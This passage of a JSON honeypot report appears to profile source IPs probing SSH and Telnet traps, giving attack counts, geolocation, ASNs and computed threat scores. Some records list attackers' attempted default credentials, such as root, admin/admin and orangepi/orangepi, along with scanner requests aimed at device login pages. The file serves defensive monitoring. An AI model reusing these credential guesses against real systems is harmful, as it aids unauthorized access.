        "Cowrie": 59
      }
    },
    "175.107.0.22": {
      "attack_count": 50,
      "first_seen": "2026-05-15T15:27:37.249Z",
      "last_seen": "2026-05-15T15:33:01.387Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T15:27:37.249000+00:00",
        "last_seen_30d": "2026-05-15T15:34:05.280000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.69": {
      "attack_count": 50,
      "first_seen": "2026-05-19T14:01:51.686Z",
      "last_seen": "2026-05-19T14:07:23.078Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Shakargarh",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:01:51.686000+00:00",
        "last_seen_30d": "2026-05-19T14:08:30.504000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "180.191.228.88": {
      "attack_count": 42,
      "first_seen": "2026-05-19T18:13:33.445Z",
      "last_seen": "2026-05-19T20:01:07.233Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cebu City",
      "asn": 4775,
      "as_org": "Globe Telecoms",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:13:33.445000+00:00",
        "last_seen_30d": "2026-05-19T20:02:14.010000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 21
      }
    },
    "74.162.64.69": {
      "attack_count": 38,
      "first_seen": "2026-05-02T23:33:37.361Z",
      "last_seen": "2026-05-02T23:38:46.853Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:33:37.361000+00:00",
        "last_seen_30d": "2026-05-02T23:39:55.042000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 23
      }
    },
    "38.70.51.226": {
      "attack_count": 36,
      "first_seen": "2026-05-23T00:59:48.063Z",
      "last_seen": "2026-05-24T02:30:08.941Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Baltimore",
      "asn": 12183,
      "as_org": "Talkie Communications, Inc",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:59:48.063000+00:00",
        "last_seen_30d": "2026-05-27T10:15:24.659000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Cowrie": 36
      }
    },
    "184.154.78.38": {
      "attack_count": 30,
      "first_seen": "2026-05-08T02:47:23.843Z",
      "last_seen": "2026-05-31T13:17:50.518Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:47:23.843000+00:00",
        "last_seen_30d": "2026-05-31T13:19:00.635000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "198.143.151.198": {
      "attack_count": 30,
      "first_seen": "2026-05-08T10:02:10.527Z",
      "last_seen": "2026-05-10T21:06:00.602Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:02:10.527000+00:00",
        "last_seen_30d": "2026-05-10T21:07:10.057000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "136.243.76.202": {
      "attack_count": 24,
      "first_seen": "2026-05-08T08:41:34.613Z",
      "last_seen": "2026-05-30T23:49:36.408Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:41:34.613000+00:00",
        "last_seen_30d": "2026-05-30T23:50:44.237000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "199.195.248.228": {
      "attack_count": 24,
      "first_seen": "2026-05-11T13:59:55.902Z",
      "last_seen": "2026-05-31T06:17:45.288Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 44.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T13:59:55.902000+00:00",
        "last_seen_30d": "2026-05-31T06:18:49.585000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "150.95.25.66": {
      "attack_count": 18,
      "first_seen": "2026-05-08T05:07:49.754Z",
      "last_seen": "2026-05-17T13:21:20.252Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 135161,
      "as_org": "GMO-Z com NetDesign Holdings Co., Ltd.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:07:49.754000+00:00",
        "last_seen_30d": "2026-05-17T13:22:26.786000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "192.42.116.17": {
      "attack_count": 18,
      "first_seen": "2026-05-18T02:14:39.827Z",
      "last_seen": "2026-05-30T20:49:44.399Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "ItsemoemoWashere2024support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 79.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.5,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 444,
        "days_active_30d": 13,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-18T02:14:39.827000+00:00",
        "last_seen_30d": "2026-05-30T20:50:52.251000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 279,
        "Honeytrap": 134,
        "Cowrie": 16,
        "Ciscoasa": 6,
        "H0neytr4p": 6,
        "Dionaea": 3
      }
    },
    "144.172.117.163": {
      "attack_count": 17,
      "first_seen": "2026-05-02T12:35:42.404Z",
      "last_seen": "2026-05-02T12:35:43.253Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Mozilla/5.0",
        "GET / HTTP/1.1",
        "GET /System/deviceInfo HTTP/1.1",
        "GET /doc/page/login.asp HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Connection: close",
        "Accept: */*"
      ],
      "commands_executed": [
        "Connection: close",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ogden",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:35:42.404000+00:00",
        "last_seen_30d": "2026-05-02T12:36:52.230000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 13
      }
    },
    "151.236.24.12": {
      "attack_count": 12,
      "first_seen": "2026-05-08T16:25:14.589Z",
      "last_seen": "2026-05-11T08:13:31.112Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iceland",
      "country_code": "IS",
      "city": "Hafnarfjordur",
      "asn": 50613,
      "as_org": "Advania Island ehf",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:25:14.589000+00:00",
        "last_seen_30d": "2026-05-11T08:14:33.085000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "109.105.210.60": {
      "attack_count": 10,
      "first_seen": "2026-05-07T09:49:02.763Z",
      "last_seen": "2026-05-07T09:49:49.445Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 73.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 25,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T00:04:23+00:00",
        "last_seen_30d": "2026-05-27T01:51:48.187000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 14,
        "Cowrie": 10,
        "Dionaea": 2,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "165.154.244.122": {
      "attack_count": 10,
      "first_seen": "2026-05-11T14:18:30.070Z",
      "last_seen": "2026-05-11T14:19:45.875Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:18:17.438000+00:00",
        "last_seen_30d": "2026-05-11T14:20:50.661000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "35.240.47.53": {
      "attack_count": 10,
      "first_seen": "2026-05-14T05:40:58.927Z",
      "last_seen": "2026-05-14T05:41:09.087Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:40:58.927000+00:00",
        "last_seen_30d": "2026-05-14T05:42:13.181000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "109.58.219.190": {
      "attack_count": 6,
      "first_seen": "2026-05-19T01:27:19.096Z",
      "last_seen": "2026-05-19T01:38:13.967Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:27:19.096000+00:00",
        "last_seen_30d": "2026-05-19T01:39:23.980000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "169.224.19.18": {
      "attack_count": 6,
      "first_seen": "2026-05-11T14:07:34.387Z",
      "last_seen": "2026-05-11T14:11:37.820Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:07:34.387000+00:00",
        "last_seen_30d": "2026-05-11T14:22:20.335000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "201.238.33.112": {
      "attack_count": 6,
      "first_seen": "2026-05-19T19:22:59.249Z",
      "last_seen": "2026-05-19T19:50:58.349Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:22:59.249000+00:00",
        "last_seen_30d": "2026-05-19T19:52:00.879000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "208.87.243.49": {
      "attack_count": 6,
      "first_seen": "2026-05-04T20:21:10.707Z",
      "last_seen": "2026-05-04T20:21:16.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:21:10.707000+00:00",
        "last_seen_30d": "2026-05-04T20:22:25.191000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "43.226.38.71": {
      "attack_count": 6,
      "first_seen": "2026-05-14T01:08:49.368Z",
      "last_seen": "2026-05-14T01:10:25.588Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134762,
      "as_org": "CHINANET Liaoning province Dalian MAN network",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T01:08:49.368000+00:00",
        "last_seen_30d": "2026-05-14T01:21:14.103000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "14.103.127.2": {
      "attack_count": 5,
      "first_seen": "2026-05-07T06:49:00.473Z",
      "last_seen": "2026-05-07T06:49:03.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "tester"
      ],
      "passwords_attempted": [
        "testing"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:49:00.473000+00:00",
        "last_seen_30d": "2026-05-07T06:50:47.817000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "103.249.203.121": {
      "attack_count": 4,
      "first_seen": "2026-05-21T06:08:35.122Z",
      "last_seen": "2026-05-21T06:10:42.504Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "San Mateo",
      "asn": 151652,
      "as_org": "ZSG Internet Communication Services",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:08:35.122000+00:00",
        "last_seen_30d": "2026-05-21T06:11:43.283000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "113.182.120.101": {
      "attack_count": 4,
      "first_seen": "2026-05-03T08:13:34.752Z",
      "last_seen": "2026-05-03T08:17:36.176Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T08:13:34.752000+00:00",
        "last_seen_30d": "2026-05-03T08:19:08.312000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "121.136.93.86": {
      "attack_count": 4,
      "first_seen": "2026-05-15T19:58:34.089Z",
      "last_seen": "2026-05-22T13:34:40.554Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T19:58:34.089000+00:00",
        "last_seen_30d": "2026-05-22T13:35:46.589000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "201.238.3.33": {
      "attack_count": 4,
      "first_seen": "2026-05-22T09:57:28.265Z",
      "last_seen": "2026-05-22T12:48:28.239Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:57:28.265000+00:00",
        "last_seen_30d": "2026-05-22T13:25:51.338000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "54.86.134.21": {
      "attack_count": 4,
      "first_seen": "2026-05-18T00:57:08.860Z",
      "last_seen": "2026-05-18T00:57:15.331Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 10.0,
